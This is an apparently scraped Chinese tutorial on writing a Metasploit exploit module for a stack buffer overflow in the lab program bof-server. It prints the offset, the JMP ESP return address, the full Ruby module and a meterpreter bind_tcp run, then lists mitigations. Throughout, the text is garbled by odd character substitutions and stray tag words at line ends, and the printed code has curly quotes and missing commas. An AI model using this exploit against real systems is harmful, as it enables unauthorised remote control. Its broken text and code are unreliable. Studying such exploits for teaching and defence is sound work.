利用Metasploit破解栈缓存溢出漏洞的一个例子

2021年09月15日 阅读数:1
这篇文章主要向大家介绍利用Metasploit破解栈缓存溢出漏洞的一个例子,主要内容包括基础应用、实用技巧、原理机制等方面,希望对大家有所帮助。

1背景
栈缓存溢出漏洞自1988年出现至今已过去30多年了【1】,它以其危害性及普遍性早已引发了广大信息安全领域研究人员的重视。多年以来,随着攻防双方技术的交替进步,对于此类漏洞的控制已经不像最初阶段那么无力,可是不得不说,因为栈缓存溢出漏洞的产生根源是程序设计不严谨所致使,换个更直接的说法就是该漏洞的产生可认为是人为的编码疏忽,所以,在将来很长的一段时间内它还将与咱们共存。本文将利用Metasploit框架开发一个针对软件bof-server栈缓存溢出漏洞的破解模块,以此为例,讲解此类漏洞的危害及预防措施。因为Metasploit框架是进行渗透测试的优秀工具,它提供了大量的漏洞渗透模块库,集成了优秀的模块开发环境,因此,咱们选择它做为本文的实验工具。
2栈缓存溢出漏洞的原理
在微软的定义里,缓存溢出攻击是一种攻击者用本身的代码覆盖程序原有代码的行为,若是被覆盖的恶意代码是一段受攻击者控制的可执行代码,那么攻击者就能够在目标系统中进行意料以外的操做。
栈是一种数据结构,栈中数据的写入和读取只能从栈顶进行操做,它遵循后进先出的原则。栈支持两种操做:push和pop。push是将数据添加到栈顶。pop是将数据从栈顶弹出。让咱们看一下C程序的内存布局、它的内容以及它在函数调用和返回期间是如何工做的。以下图所示:
利用Metasploit破解栈缓存溢出漏洞的一个例子
其中,Text:包含要执行的程序代码。Data:包含程序的全局信息。Stack:包含函数参数,返回地址和函数的局部变量。它是后进先出的数据结构。随着新函数的调用,它在内存中向下增加(从较高的地址空间到较低的地址空间)。Heap:容纳全部动态分配的内存。 每当咱们使用malloc动态获取内存时,它都是从堆中分配的。 随着须要愈来愈多的内存,堆在内存中的增加(从低到高)。
对于基于栈的缓存溢出,咱们把注意力集中在寄存器EBP、EIP和ESP上。EBP指向堆栈底部的较高内存地址,ESP则指向堆栈顶部的较低内存位置。EIP中存储的是下一条指令的地址。咱们主要关注EIP寄存器,由于咱们须要劫持程序的执行顺序。因为EIP只是一个寄存器,因此咱们没法为其分配要执行指令的内存地址。
利用Metasploit破解栈缓存溢出漏洞的一个例子
当函数执行时,一个包含有函数信息的栈帧(stack frame)会被压入栈中。一旦函数执行完毕,栈帧会被弹出栈,函数完成执行后,将从栈中弹出相关的栈帧,并在中断的调用的函数中继续执行。CPU知道必须从何处继续执行程序,它是从调用函数时压入栈的返回地址得到此信息。
为了方便理解,咱们举一个例子:在主函数中调用func()。所以,当程序开始时,将调用main(),并为其分配一个栈帧并将其压入栈。接下来main()调用func(),一样是分配栈帧,将其压入栈并将执行移交给func(),main()经过将这个值(返回地址)压入栈,来指出当func()返回(一般是在调用func()以后的代码行)时,须要继续执行的地方。
利用Metasploit破解栈缓存溢出漏洞的一个例子
在func()函数执行完后,它的栈帧被弹出,其中存储的返回地址被加载到EIP寄存器中,继续执行main()。若是咱们可以控制返回地址,咱们就能在func()返回时劫持将要执行的指令。程序员

3渗透思路
首先,咱们下载并运行bof-server。能够看到这个程序在端口200上提供TCP服务。以下图所示:
利用Metasploit破解栈缓存溢出漏洞的一个例子
而后,咱们向TCP 200端口发起TELNET链接,创建链接后向其发送若干随机数据。以下图所示:
利用Metasploit破解栈缓存溢出漏洞的一个例子
咱们发现,当提供必定数量的随机数据以后,链接就断开了,这是由于目标服务器已经崩溃。来看一看目标服务器上的报错信息。以下图所示:
利用Metasploit破解栈缓存溢出漏洞的一个例子
点击“click here”,查看详细状况,发现程序是因为没法在地址41414141处找到下一条要执行的指令,从而致使了程序的崩溃。由于咱们随机输入的是若干个字母A,而值41就是字母A的十六进制表示,这说明咱们输入的数据已经超出了缓存的范围,并且覆盖了EIP寄存器。接下来,程序试图执行41414141这个地址上指令,显然这不是一个有效的地址,所以,程序崩溃了。
因为咱们的输入数据超出了程序栈的缓存范围,引起了程序的栈缓存溢出漏洞,致使程序崩溃。若是咱们控制好输入的数据,使得覆盖EIP寄存器的内容刚好是咱们想要执行的代码地址,那么咱们就控制了服务器,从而完成了漏洞利用。web

4渗透的步骤
根据上一节的思路,咱们将利用Metasploit框架开发一个破解模块,触发漏洞并运行咱们想要执行的其它代码。
模块开发的第一个步骤是找出偏移量,在这个过程当中将用到Metasploit中的两款工具,分别是pattern_create和pattern_offset。工具pattern_create用来按必定规律生成字符,例如:#./pattern_create.rb 1000,表示生成1000个字符。将这些字符发送给目标服务器后若是程序崩溃,就能获得一个地址的值,咱们获得的地址值是72413372,将该值做为参数,使用工具pattern_offset就能获得具体的偏移量,例如:#./pattern_offset.rb 72413372 1000,表示EIP中的地址为72413372,填充1000个字符。最后,咱们得出的偏移量是520,在520个字节后面的4个字节的数据就会覆盖EIP寄存器。
接下来,咱们还将使用Metasploit中的另外一个工具msfpescan来找到程序中JMP ESP指令的地址,在这里咱们利用bof-server程序调用的一个DLL文件ws2_32.dll。命令以下:#./msfpescan -j esp -f /root/Desktop/ws2_32.dll,参数-j后面的是寄存器名,这里用到的寄存器是ESP,返回结果为0x71ab9372,这是ws2_32.dll文件中JMP ESP指令的地址。只须要用这个地址来重写
EIP寄存器中的内容,就能够执行咱们的代码。
到目前为止,咱们已经掌握了开发Metasploit程序破解模块的主要内容,让咱们看看代码代码是怎样的。以下所示:
require ‘msf/core’shell

class Metasploit3<Msf::Exploit::Remote
Rank = NormalRankingwindows

include Msf::Exploit::Remote::Tcp

def initialize(info = {})
    super(update_info(info,
        ‘Name’ =>’Stack Based Buffer Overflow Example’,
        ‘Description’ => %q{
    Stack Based Overflow Example Application Exploitation Module

},
‘Platform’ => ‘win’,
‘Author’ =>
[
‘Nipun Jaswal’
]
‘Payload’ =>
{
‘space’ => 1000,
‘BadChars’ =>”\x00\xff”,
}
‘Targets’ =>
[
[‘Windows XP SP2’,{‘Ret’ => 0x71AB9372,’Offset’ => 520}]
],
‘DisclosureDate’ => ‘Apr 19 2016’
))
register_options(
[
Opt::RPORT(200)
],self.class)
end
在分析代码以前,咱们先看看模块中用到的库,请看下表:
包含声明 路径 用途
Msf::Exploit::Remote::Tcp /lib/msf/core/exploit/tcp.rb 该库提供基本的TCP函数,例如:链接、断开链接和写数据等。利用Metasploit破解栈缓存溢出漏洞的一个例子
破解模块开头就是包含各类必要的路径和文件。咱们把模块类型定义为Msf::Exploit::Remote,意味着它是一个远程破解模块。接下来,咱们在initialize方法中定义name,description,author等基本信息。另外,咱们还看到大量的其它声明。请看下表:
声明 值 用途
Platform win 定义攻击目标的平台类型。win表明破解模块在基于windows操做系统的平台上有用。
DisclosureDate Apr 19 2016 漏洞披露的日期。
Targets Ret:0x71AB9372 特定操做系统的Ret字段定义了咱们在上一节中找到的JMP ESP地址。
Targets Offset:520 Offset字段定义在EIP以前须要填充的缓存字节数。
Payload Space:1000 space字段定义payload的最大可用空间。这很重要,由于,有时咱们只有恨少的空间用来加载shellcode。
Payload BadChars:\x00\xff BadChars变量定义了payload生成过程当中须要避免的字符。声明坏字符的做用是保证稳定性。删除坏字符是为了不程序崩溃或payload不执行。利用Metasploit破解栈缓存溢出漏洞的一个例子
咱们在register_options部分还定义了破解模块的默认端口为200。咱们接着看剩下的代码:
def exploit
connect
buf = make_nops(target[‘Offset’])
buf = buf + [target[‘Ret’]].pack(‘V’) + make_nops(10) + payload.encoded
sock.put(buf)
handler
disconnect
end
end
让咱们看看上面代码中用到的一些重要函数:
函数 库 用途
make_nops /lib/msf/core/exploit.rb 该方法用来建立多个NOP。
Connect /lib/msf/core/exploit/tcp.rb 创建与目标的链接。
disconnect /lib/msf/core/exploit/tcp.rb 中断与目标的链接。
handler /lib/msf/core/exploit.rb 将链接传递给相应的payload处理。利用Metasploit破解栈缓存溢出漏洞的一个例子
在咱们以前编写的模块中,run方法是辅助模块的默认方法。然而,对于破解模块而言,默认的方法是exploit。
咱们使用connect链接目标。使用make_nops函数创造520个NOP,这个数来自initialize函数中定义的target的Offset。把520个NOPs存储到变量buf中。下一条指令,咱们经过从target声明的Ret字段中获取其值,将JMP ESP地址附加到buf。使用函数pack(‘V’),咱们获得地址的小端格式。在Ret地址以后,咱们附加几个NOPs做为ShellCode以前的填充。使用Metasploit的优势之一是能在运行中切换payload。所以,只须要简单的使用payload.encoded就能把当前所选的payload附加在变量buf以后。
接下来,使用函数sock.put创建与目标的链接,参数是buf。使用handler方法检查目标是否被成功破解,若是成功破解则会创建链接。最后,用disconnect断开链接。咱们来看看使用的效果:
利用Metasploit破解栈缓存溢出漏洞的一个例子
咱们设置必要的参数,payload设置为windows/meterpreter/bind_tcp,这意味着到目标的直接链接。让咱们看看使用exploit命令后会发生什么:
利用Metasploit破解栈缓存溢出漏洞的一个例子
显然,咱们编写的破解模块成功了,得到一个meterpreter会话,经过该会话能够在目标服务器上进行非受权操做。缓存

5总结
经过上述例子,咱们发现栈缓存溢出漏洞虽然早在上个世纪八十年代就存在,但至今仍对信息系统安全有着重要的影响。为了规避该漏洞,目前通常有几种作法:使内存执行的堆栈部分为非可执行文件;使用更加健壮的C和C++库;经过编译器保护返回地址;使用防火墙【2】等等。最理想的办法是雇佣最好的程序员谨慎编码,固然这自己就不是一件容易的事。所以,咱们须要对程序进行严格的模糊测试,下降栈缓存溢出漏洞发生的几率。安全

参考文献:
【1】Rober Morris web site:http://pdos.csail.mit.edu/~rtm/
【2】Crispin Cowan, Perry Wagle, Calton Pu, Steve Beattie, and Jonathan Walpole, Buffer Overflows: Attacks and Defenses for the Vulnerability of the Decade, in DARPA Information Survivability Conference and Expo 2000. 服务器